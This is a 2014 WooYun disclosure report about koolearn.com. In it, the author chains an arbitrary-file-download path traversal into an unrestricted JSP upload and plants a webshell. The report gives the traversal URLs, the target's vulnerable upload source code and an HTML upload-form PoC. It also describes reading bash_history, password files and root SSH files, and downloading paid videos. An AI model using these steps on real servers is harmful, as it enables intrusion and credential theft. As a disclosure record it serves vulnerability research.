当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067974

漏洞标题:新东方在线学习网站一处任意文件下载问题导致的任意文件上传

相关厂商:新东方

漏洞作者: xcoder

提交时间:2014-07-10 14:30

修复时间:2014-08-24 14:32

公开时间:2014-08-24 14:32

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-10: 细节已通知厂商并且等待厂商处理中
2014-07-11: 厂商已经确认,细节仅向厂商公开
2014-07-21: 细节向核心白帽子及相关领域专家公开
2014-07-31: 细节向普通白帽子公开
2014-08-10: 细节向实习白帽子公开
2014-08-24: 细节向公众公开

简要描述:

新东方在线学习网站http://www.koolearn.com/上面的教程不错,最近正在学雅思,就花了几百大洋买了套教程(很坑爹,教程有效期为1个月),无意间发现了一处任意文件下载,然后就开始xxoo。。

详细说明:

其实这个词汇老师讲的真不错,问题出在下载课件处,

1.png


下意识的看了看下载链接发现一处任意文件下载

http://www.koolearn.com/downloadservlet?type=1&download=2013-10/yasijjchtl.doc


本来想下载web的配置文件的,谁知始终找不到web的路径,因为要下载的文件不再web目录下,然后就各种下载系统里面能猜到的文件,一共下载了

2.png


实际上比这还多点,linux下面我们都知道有个文件叫bash_history,如果管理员没有晴空,里面存的都是执行过的命令,

3.png


通过执行过的命令然后找到nginx的配置文件,然后找到web路径,然后去下载了web的一些配置文件,这其中的艰辛不言而喻,最终没有什么收获,又转战到系统上面来,想看看有没有常见的密码,类似密码本等等,猜了下常见的服务配置文件,找到了几个密码,nfs的配置文件没什么蛋用,看了一大片的配置文件,也没有什么收获,就在想这太服务器要做文件共享,一般都需要免密码登录。就下载了/root/authoxx ssh证书登录的文件,结果这些服务器基本上ssh的端口都被iptables给干掉了,此时能利用的只有任意文件下载这处,抽了支烟,记了几个单词之后,又转战的web上来,首先我的目的很明确,先搞个webshell,这网站是java写的,除了struts2好使点其他没什么已知的漏洞,现在的思路就是1.下载点源代码看看能不能找点sql注入之类的漏洞(园长师傅可能会说,去找spring的配置文件啊,找到数据库的配置文件啊,链接啊,很遗憾找了是通过jndi链接的数据库,没最后是找到了一个配置文件,不过内网,链接不上)找到管理员的密码进后台getshell,2.找文件上传漏洞(java中这个漏洞很多)其他的对于拿shell来说作用不大,先从简单的开始吧找文件上传的吧,就开始在koolearn上面找头像之类的上传点,无意之间看到了(找了很久尼,貌似是老版的,不太清楚),发现了

55.png

这个上传点比较有意思,flash上传,不过每次上传都失败了,通过抓包发现了提交的地址http://my.koolearn.com/bottom/headPhoto.jsp,不过这个文件之类访问显示404,我就很奇怪,此时想都没想直接http://www.koolearn.com/downloadservlet?type=1&download=../../..//usr/share/tomcat6/webapps/ROOT/bottom/headPhoto.jsp
利用任意文件下载把这个文件源代码下载下来了,我就在想www能直接下载到my.koolearn.com下面的文件,是不是改版之后主站也有这个文件,访问了下果然存在,看了下上传的代码

<%@ page contentType="text/html; charset=utf-8" language="java" import="java.io.*,java.util.*"%>
<%@page import="com.koolearn.eclass.util.ServletUtils"%>
<%@page import="org.apache.commons.fileupload.FileItem"%>
<%@page import="com.koolearn.rest.util.FileUtils"%>
<%@page import="org.apache.commons.io.FilenameUtils"%>
<%@page import="com.koolearn.eclass.util.FileUploadUtil"%>
<%@page import="org.apache.commons.fileupload.DiskFileUpload"%>
<%
//定义上载文件的最大字节
response.setContentType("text/html");
response.resetBuffer();
int MAX_SIZE = 1024*1024*10;
//声明文件读入类
DataInputStream in = null;

//取得客户端上传的数据类型
String contentType = request.getContentType();
try{
if(contentType.indexOf("multipart/form-data") >= 0 ){
int formDataLength = request.getContentLength();
if(formDataLength > MAX_SIZE){
//System.out.println("上传的文件字节数不可以超过" + MAX_SIZE/1024/1024+"M");
return;
}

String fileNameWithType = "";
int userId = -1;
DiskFileUpload upload = new DiskFileUpload ();
List items = upload.parseRequest(request);
Iterator itr = items.iterator();
while(itr.hasNext()) {
FileItem item = (FileItem) itr.next();
if(item.isFormField()) {
String fieldName = item.getFieldName();
if(fieldName.equals("userid")){
//System.out.println("=====dd==="+item.getString() );
userId = Integer.parseInt(item.getString());
}
}else{
//读入上传图片的数据
fileNameWithType = FilenameUtils.getName(item.getName());
//System.out.println("========================="+fileNameWithType);
in = new DataInputStream(item.getInputStream());
}
}

String saveFile = FileUploadUtil.getNewName( fileNameWithType );
String rootPath = FileUploadUtil.savePhotoURL(userId)+"/";
//System.out.println("========"+rootPath);
//创建保存路径的文件名
//zx
String fileName = rootPath + saveFile;
System.out.println("========"+fileName);
//检查上载文件是否存在
File checkFile = new File(fileName);
if(checkFile.exists()){
//System.out.println(saveFile + "文件已经存在");
}
//检查上载文件的目录是否存在
File fileDir = new File(rootPath);
if(!fileDir.exists()){
fileDir.mkdirs();
}
//System.out.println("_"+FileUploadManager.getPortraitURL(userId)+"/"+saveFile+"_");

FileUtils.saveFile(in,fileName);
String testurl = (FileUploadUtil.getPortraitURL(userId)+"/"+saveFile).trim();
testurl = testurl.replace(ServletUtils.getBaseURL(request),"");
out.print(testurl);

System.out.println("_"+testurl+"_");
out.flush();
}
else{
String content = request.getContentType();
}
}catch(Exception ex){
ex.printStackTrace();
throw new ServletException(ex.getMessage());
}
%>


重点在这句String saveFile = FileUploadUtil.getNewName( fileNameWithType );
运气好这个文件可以下载,没有打成jar文件,就直接下载了

public static String savePhotoFile(String path, FileItem fileItem)
throws IOException
{
if (fileItem == null)
return "";
String ext = "";
String fileName = "";
fileName = fileItem.getName();
if (fileName.indexOf(".") > 0) {
ext = fileName.substring(fileName.lastIndexOf(".") + 1);
}
String extTypes = SystemGlobals.getPreference("upload.exts");
if (extTypes.indexOf(ext) < 0) {
return "";
}
fileName = String.valueOf(System.currentTimeMillis());
if (!StringUtils.isBlank(ext)) {
fileName = fileName + "." + ext;
}
saveFile(path, fileName, fileItem.getInputStream());
return fileName;
}/code>
这段代码写的判断了后缀,只可惜没有调用,那就太好了
<code>public static final String getNewName(String originalName) {
Random random = new Random();
SimpleDateFormat sdf = null;
try {
sdf = new SimpleDateFormat("yyyyMMddHHmmss");
}
catch (Exception ex) {
ex.printStackTrace();
return originalName;
}
String newName = sdf.format(new Date()) + random.nextInt(100) + "." + FilenameUtils.getExtension(originalName);
return newName;
}


getNewName方法就按照时间戳生成了个文件名,文件后缀没有处理,到这里就造成了任意文件上传了。
poc

<form action="http://www.koolearn.com/bottom/headPhoto.jsp" enctype="multipart/form-data" method="post">
<input type="file" name="table">//name值随便,看源码就知道了
<input type="submit">
</form>
</body>
</html>


拿到shell后,查看了下ssh,/root/.ssh/known_hosts文件,大致知道了内网的机器台数,
内容在这就不贴了,内网不擅长,就不浪费时间了,不然废话太多,拿到shell之后下载了几个雅思的培训视频看了下,视频下载已经删除。本人对数据不感兴趣,所以数据库丝毫未动。

vvvv.png

shell地址:http://www.koolearn.com/uploadimage/studyplan/1/-1/portraint/2014070920523540.jsp,自行删除吧!

漏洞证明:

其实这个词汇老师讲的真不错,问题出在下载课件处,

1.png


下意识的看了看下载链接发现一处任意文件下载

http://www.koolearn.com/downloadservlet?type=1&download=2013-10/yasijjchtl.doc


本来想下载web的配置文件的,谁知始终找不到web的路径,因为要下载的文件不再web目录下,然后就各种下载系统里面能猜到的文件,一共下载了

2.png


实际上比这还多点,linux下面我们都知道有个文件叫bash_history,如果管理员没有晴空,里面存的都是执行过的命令,

3.png


通过执行过的命令然后找到nginx的配置文件,然后找到web路径,然后去下载了web的一些配置文件,这其中的艰辛不言而喻,最终没有什么收获,又转战到系统上面来,想看看有没有常见的密码,类似密码本等等,猜了下常见的服务配置文件,找到了几个密码,nfs的配置文件没什么蛋用,看了一大片的配置文件,也没有什么收获,就在想这太服务器要做文件共享,一般都需要免密码登录。就下载了/root/authoxx ssh证书登录的文件,结果这些服务器基本上ssh的端口都被iptables给干掉了,此时能利用的只有任意文件下载这处,抽了支烟,记了几个单词之后,又转战的web上来,首先我的目的很明确,先搞个webshell,这网站是java写的,除了struts2好使点其他没什么已知的漏洞,现在的思路就是1.下载点源代码看看能不能找点sql注入之类的漏洞(园长师傅可能会说,去找spring的配置文件啊,找到数据库的配置文件啊,链接啊,很遗憾找了是通过jndi链接的数据库,没最后是找到了一个配置文件,不过内网,链接不上)找到管理员的密码进后台getshell,2.找文件上传漏洞(java中这个漏洞很多)其他的对于拿shell来说作用不大,先从简单的开始吧找文件上传的吧,就开始在koolearn上面找头像之类的上传点,无意之间看到了(找了很久尼,貌似是老版的,不太清楚),发现了

55.png

这个上传点比较有意思,flash上传,不过每次上传都失败了,通过抓包发现了提交的地址http://my.koolearn.com/bottom/headPhoto.jsp,不过这个文件之类访问显示404,我就很奇怪,此时想都没想直接http://www.koolearn.com/downloadservlet?type=1&download=../../..//usr/share/tomcat6/webapps/ROOT/bottom/headPhoto.jsp
利用任意文件下载把这个文件源代码下载下来了,我就在想www能直接下载到my.koolearn.com下面的文件,是不是改版之后主站也有这个文件,访问了下果然存在,看了下上传的代码

<%@ page contentType="text/html; charset=utf-8" language="java" import="java.io.*,java.util.*"%>
<%@page import="com.koolearn.eclass.util.ServletUtils"%>
<%@page import="org.apache.commons.fileupload.FileItem"%>
<%@page import="com.koolearn.rest.util.FileUtils"%>
<%@page import="org.apache.commons.io.FilenameUtils"%>
<%@page import="com.koolearn.eclass.util.FileUploadUtil"%>
<%@page import="org.apache.commons.fileupload.DiskFileUpload"%>
<%
//定义上载文件的最大字节
response.setContentType("text/html");
response.resetBuffer();
int MAX_SIZE = 1024*1024*10;
//声明文件读入类
DataInputStream in = null;

//取得客户端上传的数据类型
String contentType = request.getContentType();
try{
if(contentType.indexOf("multipart/form-data") >= 0 ){
int formDataLength = request.getContentLength();
if(formDataLength > MAX_SIZE){
//System.out.println("上传的文件字节数不可以超过" + MAX_SIZE/1024/1024+"M");
return;
}

String fileNameWithType = "";
int userId = -1;
DiskFileUpload upload = new DiskFileUpload ();
List items = upload.parseRequest(request);
Iterator itr = items.iterator();
while(itr.hasNext()) {
FileItem item = (FileItem) itr.next();
if(item.isFormField()) {
String fieldName = item.getFieldName();
if(fieldName.equals("userid")){
//System.out.println("=====dd==="+item.getString() );
userId = Integer.parseInt(item.getString());
}
}else{
//读入上传图片的数据
fileNameWithType = FilenameUtils.getName(item.getName());
//System.out.println("========================="+fileNameWithType);
in = new DataInputStream(item.getInputStream());
}
}

String saveFile = FileUploadUtil.getNewName( fileNameWithType );
String rootPath = FileUploadUtil.savePhotoURL(userId)+"/";
//System.out.println("========"+rootPath);
//创建保存路径的文件名
//zx
String fileName = rootPath + saveFile;
System.out.println("========"+fileName);
//检查上载文件是否存在
File checkFile = new File(fileName);
if(checkFile.exists()){
//System.out.println(saveFile + "文件已经存在");
}
//检查上载文件的目录是否存在
File fileDir = new File(rootPath);
if(!fileDir.exists()){
fileDir.mkdirs();
}
//System.out.println("_"+FileUploadManager.getPortraitURL(userId)+"/"+saveFile+"_");

FileUtils.saveFile(in,fileName);
String testurl = (FileUploadUtil.getPortraitURL(userId)+"/"+saveFile).trim();
testurl = testurl.replace(ServletUtils.getBaseURL(request),"");
out.print(testurl);

System.out.println("_"+testurl+"_");
out.flush();
}
else{
String content = request.getContentType();
}
}catch(Exception ex){
ex.printStackTrace();
throw new ServletException(ex.getMessage());
}
%>


重点在这句String saveFile = FileUploadUtil.getNewName( fileNameWithType );
运气好这个文件可以下载,没有打成jar文件,就直接下载了

public static String savePhotoFile(String path, FileItem fileItem)
throws IOException
{
if (fileItem == null)
return "";
String ext = "";
String fileName = "";
fileName = fileItem.getName();
if (fileName.indexOf(".") > 0) {
ext = fileName.substring(fileName.lastIndexOf(".") + 1);
}
String extTypes = SystemGlobals.getPreference("upload.exts");
if (extTypes.indexOf(ext) < 0) {
return "";
}
fileName = String.valueOf(System.currentTimeMillis());
if (!StringUtils.isBlank(ext)) {
fileName = fileName + "." + ext;
}
saveFile(path, fileName, fileItem.getInputStream());
return fileName;
}/code>
这段代码写的判断了后缀,只可惜没有调用,那就太好了
<code>public static final String getNewName(String originalName) {
Random random = new Random();
SimpleDateFormat sdf = null;
try {
sdf = new SimpleDateFormat("yyyyMMddHHmmss");
}
catch (Exception ex) {
ex.printStackTrace();
return originalName;
}
String newName = sdf.format(new Date()) + random.nextInt(100) + "." + FilenameUtils.getExtension(originalName);
return newName;
}


getNewName方法就按照时间戳生成了个文件名,文件后缀没有处理,到这里就造成了任意文件上传了。
poc

<form action="http://www.koolearn.com/bottom/headPhoto.jsp" enctype="multipart/form-data" method="post">
<input type="file" name="table">//name值随便,看源码就知道了
<input type="submit">
</form>
</body>
</html>


拿到shell后,查看了下ssh,/root/.ssh/known_hosts文件,大致知道了内网的机器台数,
内容在这就不贴了,内网不擅长,就不浪费时间了,不然废话太多,拿到shell之后下载了几个雅思的培训视频看了下,视频下载已经删除。本人对数据不感兴趣,所以数据库丝毫未动。

vvvv.png

shell地址:http://www.koolearn.com/uploadimage/studyplan/1/-1/portraint/2014070920523540.jsp,自行删除吧!

修复方案:

写了这么多废话,怎么修复应该很明显了。

版权声明:转载请注明来源 xcoder@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-07-11 09:36

厂商回复:

谢谢提供消息,我们会尽快确认并修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-10 15:15 | 小小鸟 ( 路人 | Rank:8 漏洞数:6 | 小白一个)

    我还以为是学厨师就来新东方- -

  2. 2014-08-24 14:51 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心,爱好广泛,求女女带走。。...)

    抽了支烟,记了几个单词之后,又转战的web上来,LZ萌萌哒, 记得几个单词之后,就开始去日站..